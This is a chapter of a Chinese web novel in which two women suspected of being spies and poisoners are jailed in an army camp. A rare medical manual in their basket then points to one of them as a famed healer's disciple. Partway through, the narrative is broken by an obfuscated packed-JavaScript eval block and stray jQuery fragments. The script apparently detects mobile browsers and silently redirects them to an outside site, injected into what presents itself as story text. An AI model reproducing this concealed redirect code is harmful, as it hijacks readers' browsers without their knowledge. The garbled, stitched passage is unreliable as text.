16. 第16章 被抓

作品:《王妃的求生日常

    “带进来。”


    严方阳沉思,军营外出现可疑之人屡见不鲜,或流民或细作,偏生这时候出现,着实耐人寻味。


    秦意佛袖起身:“我先走了,班绩、霍万你们二人协助中郎将好生审审。”


    “你不一起?”


    秦意摇头,审讯有这么多人在场,无须他在此浪费时间。


    “我去后账再核对一遍粮草文书,免得耽误明日拔营的时辰。”


    “参军放心!”班绩和霍万抱拳应道。


    秦意走后不久,两名女子被士兵押解入帐,双腕紧束身前。


    霍万冷哼一声,先一步叱道:“好啊,两个深更半夜在军营外鬼鬼祟祟,说,你们是受何人指使!”


    “休得含血喷人,什么探子?”


    一旁的桑榆像护幼崽似的挡在边月面前,呛声道:“我与我家主……小姐在这附近采药,因夜色深重迷了方向,反倒被你们这群蛮兵抓了来。”


    “你说谁是蛮兵?”霍万怒目圆睁,他们天策军以百姓安危为己任、深受百姓爱戴,还从没有人说过他们是蛮兵。


    桑榆扬起十分标准的假笑,充满讽刺意味:“说的就是你,身为军将,不问缘由便对弱质女流大呼小叫,不是蛮兵是什么?”


    “你!”


    “霍万。”


    严方阳喝止。


    霍万悻悻住了嘴,从鼻孔哼出一口粗气,一脸不屑的看着她们。


    一直沉默的班绩幽幽开口:“中郎将,这紫荆关外荒郊野岭,哪来的正经姑娘家深夜采药?依属下看,这就是有人派来的细作。”


    严方阳未置可否,只是大马金刀地坐回主座,上下打量眼前两名女子。


    为首的女子一身青碧色袄裙,绣鞋底下沾了些红泥,是紫荆山附近特有的红色土质。身后背着的半旧竹篓有斑驳刮痕,往里仔细一看,篓底铺成些样式不一的药草。


    天策军军纪严明,从不滥杀无辜。但他也清楚,这些年想往景明身边塞人的权贵不少,使出的美人计更是层出不穷,但都被景明推了去。


    眼前两名女子都生得极为水秀,尤其是为首那位,面如桃瓣姣若春花,尤其是其通身气度,便是在京城中的世家贵女中也少见。。


    如今景明生死未卜,军营外贸然出现这等绝色,是不是某方势力精心培养出来的棋子尚未可知。


    “证据。”严方阳身体前倾,单手扣膝,眼神死锁二人。


    边月暗忖,中郎将不愧是久经沙场、从尸山血海里爬出来的老兵,这股气势非一般将领可比。


    “中郎将想要什么证据?”边月迎着目光,平静反问。


    严方阳眼里闪过一丝赞叹,他故意释放出威压,这两女子竟丝毫不受影响。


    “你们说在这附近采药,夜露深重才误闯军营。空口无凭,我拿什么信你们是真的如此,还是另有所谋?”


    边月抬手:“先将绳子解开。”


    “中郎将不可。”霍万立刻抱拳阻拦,“这两个女人来路不明,若是解开后有什么后手,岂不危险?”


    班绩也再旁应和:“是啊,我们还未弄清楚这二人的身份,不可轻纵。”


    严方阳盯着二人看了半晌道:


    “班绩,给她们松绑。”


    班绩虽不情愿,但军令如山,只得抽出匕首,挑断二人腕上的麻绳。


    边月揉了揉手腕,才将后背的竹篓卸下,掷于地上。


    “我竹篓里有紫荆山崖畔特有的一些草药,根茎浆液未干,皆是刚摘不久。军中自有军医,大可一验我说的是否属实。”


    严方阳扫了一眼:“这只能说明你们上过山,并不能说明别的。”


    “这确实不能说明什么。若我还知道中郎将左肋下三寸有旧患,每逢露重湿寒之时,便会如针刺般剧痛,难以入眠呢?”


    严方阳神色莫测,他左肋下的旧疾,是当年逐北之战时替景明挡下一记毒箭所致。那些年战役频发,他未曾好生休养,便落下了病根,除了军中极亲近之人,外人绝不可能知晓。


    气氛一时凝滞。


    突然,帐帘被掀开,传令兵连滚带爬冲了进来。


    “报——!中郎将,大事不好了!”


    “今夜负责巡视北营的兄弟全都无故倒地不起了!口吐白沫,浑身抽搐。”


    “什么!?”严方阳霍然起身,“胡老可有去看过?”


    传令兵急忙答道:“已请胡老前去看了。”


    严方阳脸色稍霁,胡老年高德重,是天策军里的老军医,连景明身上的毒也是他诊断出来的,有他在的话,应不会有太大问题。


    转向边月二人的目光瞬间变得阴寒冷鸷,军队里的弟兄们都是随他一起出生入死多年的,他绝不容许有人在他的眼皮子底下对他们下毒。


    霍万抢先一步拔出佩刀喝道:“还说不是细作!你们前脚刚被抓,后脚营中的弟兄们便中了毒!世间哪有这般巧的事情,定是你们这对妖女下的手!”


    班绩见势立即抱拳跪地:“中郎将,此二人定有问题,以采药为名行下毒之实!如今证据确凿,若不严惩,恐怕难平军心!属下恳请立即将她们捉拿,严刑拷打,逼出解药!”


    严方阳不再给她们辩解的机会,一声令下:“来人,将这两个嫌犯绑了,关押至囚营,待回京后听候发落。”


    “是!”


    大军驻扎野外,所谓的囚营不过是用布幔临时搭建的简易帐篷。


    边月和桑榆被粗暴地推了进去,里边除了角落里用杂草垒成的简陋床榻外,别无长物。


    “进去!老实点!”


    两个士兵推搡着她们进去,将帘门系死后持矛守驻在营外,寸步不离。


    其中一个矮个子兵在门外冷笑:“老子平生最恨奸细,尤其是你们这种妄图以色事人的,就等着被带回京城地牢里受死吧。”


    囚营简陋并不隔音,外面的嘲讽声清晰可闻。


    边月翻了一个白眼,她们什么都没干,怎么就成以色事人的了,赤果果对漂亮女子的成见。


    桑榆气得小脸通红,骂她可以,绝不能骂她家主子。


    边月轻抚她的发顶,像哄孩子似的好声道:“乖,不气。”


    桑榆娇嗔一声,便给边月寻了个稍微干净的草堆躺下,悄声问道:


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991379|193723||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “小姐,我们现在怎么办?”


    边月双手枕在脑后,思绪飘回那个晚上。


    他说待大军到达紫荆关时,你只管令他们相信你医术过人,而后自有分晓。


    她并不完全信任他,只是正巧传来摄政王遇袭失踪讯息,而她也正好欲来此一探究竟,便顺水推舟采用了他的法子。


    也不知道这家伙葫芦里到底卖的什么药,他又在这场局里面扮演了什么角色。


    她无声地对桑榆说:“等他们求着放我们出去。”


    门外的矮兵似乎听到了里面的动静,却又听不真切,便偷摸地揭开一角帘缝窥视,见二人悠哉悠哉的躺在草摞上闭目养神。


    他心中纳罕,这两人如此有恃无恐,莫非真有什么不得了的后台?


    矮兵生怕看守时出了什么差错,赶紧放下了帘子,打起十二分的精神,把那帘门看得更紧了些。


    另一边伤兵营帐内数十名士兵倒在地上。


    严方阳早已派了霍万和班绩前去查清此事,自己则守在一旁,待胡老施完最后一道针,才急忙问道:“胡老,弟兄们怎么样了?那毒……”


    “好险,命是保住了。”胡老迟疑了会,“但这事儿有些蹊跷。”


    “蹊跷?”秦意听闻消息也匆匆赶来了,一进帐内就听到此话。


    胡老指着盆中吐出的黑血,沉声道:“我方才施针时发现,此毒像是被人刻意化开过,若是原液,这帮兔崽子早就见阎王了,哪还能撑得到我来救。”


    “化开过?”严方阳眉间微蹙,有些不解,“你是说,下毒之人手下留情了?”


    这不合常理,若是敌军细作,既下了毒,又为何要留一线生机?


    胡老摇摇头:“我觉得这更像是有人救了他们,而且这人的医术绝非等闲之辈,还是得先查清毒源头。”


    “已经派霍万和班绩前去查了。”


    严方阳蓦地想起那个被关押的女子,他来时顺手将那女子的竹篓提了过来。


    只是那时胡老正施针,不宜打扰,他就将那篓子丢置旁边角落,如今倒是可以让胡老看看。


    “胡老,这是从那个嫌犯的竹篓,您看看可有什么问题?”


    “哗啦——”


    竹篓倒翻,里面东西散落一地。


    里面的草药纷纷落下,一本薄册子从篓底滑落出来掉在地上。


    “这是什么?”


    胡老眼尖,那册子封皮古旧,弯腰将其捡起。


    “《圣医录》……”胡老喃喃念出封面的字,随手翻开一页,突然整个人如遭雷劈,僵在原地。


    “天呐,这……这竟是圣医娘子的亲笔手札!”胡老发出一声尖叫,激动得涕泪横流,捧着手扎的手止不住得哆嗦,“这可是多少人求一眼而不可得的孤本啊,据说传给了圣医的亲传弟子,竟然在这里能看见!”


    此话如一道惊雷炸在严方阳耳边。


    “胡老,你确定?”


    “错不了!绝对错不了!”


    秦意问道“你说的那个嫌犯,现在在哪里?”


    严方阳有些僵硬的回道:


    “囚……营。”